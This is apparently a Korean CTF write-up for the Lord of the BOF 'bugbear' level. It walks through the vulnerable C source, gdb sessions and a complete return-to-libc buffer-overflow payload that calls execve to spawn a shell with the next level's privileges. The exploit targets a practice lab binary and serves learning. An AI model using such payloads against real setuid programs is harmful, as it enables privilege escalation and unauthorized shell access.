CTF_Write_UP/LOB

[LOB] bugbear

PowerCo3e_LCH 2019. 8. 2. 13:18

시작

안녕하세요 :D

덥네요.. 더워…

즐겁게 RTL2 문제를 풀어보도록 해요 ㅎㅎ

RTL 체인을 만드는 문제가 나올 줄 알았는데 함수 하나만 쓰는 문제라 쪼끔 실망했습니다 ㅋㅋㅋㅋㅋㅋ

시작해보죠!!

Write UP

/* 
        The Lord of the BOF : The Fellowship of the BOF 
        - giant 
        - RTL2 
*/ 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[]) 
{ 
        char buffer[40]; 
        FILE *fp; 
        char *lib_addr, *execve_offset, *execve_addr; 
        char *ret; 

        if(argc < 2){ 
                printf("argv error\n"); 
                exit(0); 
        } 

        // gain address of execve 
        fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r"); 
        fgets(buffer, 255, fp); 
        sscanf(buffer, "(%x)", &lib_addr); 
        fclose(fp); 

        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r"); 
        fgets(buffer, 255, fp); 
        sscanf(buffer, "%x", &execve_offset); 
        fclose(fp); 

        execve_addr = lib_addr + (int)execve_offset; 
        // end 

        memcpy(&ret, &(argv[1][44]), 4); 
        if(ret != execve_addr) 
        { 
                printf("You must use execve!\n"); 
                exit(0); 
        } 

        strcpy(buffer, argv[1]); 
        printf("%s\n", buffer); 
}

소스가 훅 들어오네요.. 왜케 길어ㅠ

근데 어디서 본 것 같은 느낌이죠??

pwntools로 익스 짤 때 libc leak 해서 베이스 주소 구한 다음에 system이나 execve의 offset을 더해준 적이 있었어요.

execve_addr = lib_addr + (int)execve_offset;

여길 보니 딱 그거네요. if문 위에 뿌려진 코드들은 execve의 주소를 구하기 위한 과정인 것을 알았습니다.

execve 함수는 하도 많이 써서 사용법이 익숙할 거에요.

첫 번째 인자로 "/bin/sh", 두 번째 인자로 "/bin/sh"의 주소를 가리키는 주소(더블포인터), 세 번째 인자로 NULL을 주면 돼요.

하나하나 구해봅시다!!

(gdb) p execve 
$1 = {} 0x400a9d48 <__execve>

execve() 주소 : 0x400a9d48

#include <stdio.h>

int main() { 
        int system = 0x40058ae0; 

        while(memcmp((void *)system, "/bin/sh\x00", 4)) { 
                system++; 
        } 

        printf("%p\n", system); 
        return 0; 
}
[bugbear@localhost giant]$ ./sh 
0x400fbff9

"/bin/sh" 주소 : 0x400fbff9

여기까진 잘 구했는데.. 저 0x400fbff9를 가리키는 주소가 필요해요.

스택을 다 뒤져보면 어딘가에 있을 수도 있지만 머리를 조금 더 써 보겠습니다.

지금까지 LOB를 풀면서 알게된 것 중 하나인, 스택엔 파일명, 쉘 정보, 환경변수 등등..이 올라간다는 것을 이용할게요!!

스택의 끝자락엔 파일 이름이 무조건 올라가요. 따라서 파일명을 "/bin/sh"를 가리키는 주소인 0x400fbff9로 해준다면

자연스럽게 더블포인터가 만들어지겠죠??

원본을 복사해서 만들겠습니다.

[bugbear@localhost giant]$ cp ~/giant ./`python -c 'print "\xf9\xbf\x0f\x40"'`
[bugbear@localhost giant]$ gdb -q ./`python -c 'print "\xf9\xbf\x0f\x40"'` 
(gdb) b *main 
Breakpoint 1 at 0x8048560 
(gdb) r 
Starting program: /tmp/giant/./▒@ 

Breakpoint 1, 0x8048560 in main () 
(gdb) x/100s 0xbfffff00 
0xbfffff00:      "ASH_ENV=/home/bugbear/.bashrc" 
0xbfffff1e:      "LANG=en_US" 
0xbfffff29:      "LOGNAME=bugbear" 
0xbfffff39:      "SHLVL=1" 
0xbfffff41:      "SHELL=/bin/bash2" 
0xbfffff52:      "USERNAME=" 
0xbfffff5c:      "HOSTTYPE=i386" 
0xbfffff6a:      "OSTYPE=linux-gnu" 
0xbfffff7b:      "HISTSIZE=1000" 
0xbfffff89:      "TERM=xterm" 
0xbfffff94:      "HOME=/home/bugbear" 
0xbfffffa7:      "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/bugbear/bin" 
0xbfffffea:      "/tmp/giant/./▒\017@" 
0xbffffffc:      "" 
0xbffffffd:      "" 
0xbffffffe:      ""

0xbffffff7 부분에 0x400fbff9가 올라와 있네요.

덤으로 0xbffffffc엔 NULL도 있는 것이 확인되었습니다.

익스를 구성해볼까요?

BUF + SFP (44) | execve (4) | dummy (4) | “/bin/sh” | &(“/bin/sh”) | NULL

계속 세폴이 떠서 왜 그런가 했는데..

입력할 때 execve() 함수의 주소에서 \x0a가 있어요. 얘는 개행 문자이기 때문에 페이로드가 중간에 끊깁니다.

때문에 argv[1]을 큰 따옴표로 한 번더 묶어줄게요!!

[bugbear@localhost giant]$ ./`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "A" * 44 + "\x48\x9d\x0a\x40" + "BBBB" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xbf"'`" 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒ 
@BBBB▒@▒▒▒▒▒▒▒▒ 
bash$ id 
uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear) 
bash$ my-pass 
euid = 514 
one step closer

Exploit!!

마무리

이 문제때매 구글링을 하다가 setuid가 걸려있는 파일은 코어가 안 떨어진다는 것을 알았어요.. 어쩐지ㅠㅠ

ulimit -c unlimited만 계속 때렸는데 ㅋㅋㅋㅋㅋ 원래 안 떨어지는 거였네요.

파일명을 주소값으로 설정해서 더블포인터를 만든다는 점이 재밌습니다.

감사합니다!! :D